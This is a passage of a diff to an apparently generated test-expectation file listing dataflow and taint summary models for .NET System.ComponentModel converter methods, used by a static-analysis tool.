System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DefaultBindingPropertyAttribute;DefaultBindingPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultBindingPropertyAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultEventAttribute;DefaultEventAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultEventAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultPropertyAttribute;DefaultPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultPropertyAttribute.Name];value;dfc-generated | @@ -8821,8 +8911,12 @@ summary | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;df-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | @@ -8856,8 +8950,12 @@ summary | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;HandledEventHandler;BeginInvoke;(System.Object,System.ComponentModel.HandledEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.ComponentModel;IBindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;IBindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | @@ -8952,8 +9050,12 @@ summary | System.ComponentModel;MemberDescriptor;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;MemberDescriptor;get_DisplayName;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._displayName];ReturnValue;value;dfc-generated | | System.ComponentModel;MemberDescriptor;get_Name;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._name];ReturnValue;value;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;MultilineStringConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[1];ReturnValue.SyntheticField[System.ComponentModel.NestedContainer+Site._name];value;dfc-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[this];ReturnValue.SyntheticField[System.ComponentModel.Container+Site.Container];value;dfc-generated | @@ -8964,9 +9066,14 @@ summary | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;NullableConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;ProgressChangedEventArgs;ProgressChangedEventArgs;(System.Int32,System.Object);Argument[1];Argument[this].SyntheticField[System.ComponentModel.ProgressChangedEventArgs._userState];value;dfc-generated | @@ -9044,8 +9151,12 @@ summary | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ReferenceConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;RefreshEventArgs;RefreshEventArgs;(System.Object);Argument[0];Argument[this].Property[System.ComponentModel.RefreshEventArgs.ComponentChanged];value;dfc-generated | | System.ComponentModel;RefreshEventHandler;BeginInvoke;(System.ComponentModel.RefreshEventArgs,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -9059,13 +9170,21 @@ summary | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;ToolboxItemAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;get_ToolboxItemTypeName;();Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemFilterAttribute;ToString;();Argument[this].Property[System.ComponentModel.ToolboxItemFilterAttribute.FilterString];ReturnValue;taint;dfc-generated | @@ -9087,18 +9206,25 @@ summary | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.String);Argument[0];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | @@ -9132,15 +9258,23 @@ summary | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeListConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;TypeListConverter;(System.Type[]);Argument[0].Element;Argument[this];taint;df-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;WarningException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.WarningException.HelpUrl];value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.WarningException.HelpTopic];value;dfc-generated | @@ -9248,8 +9382,12 @@ summary | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | 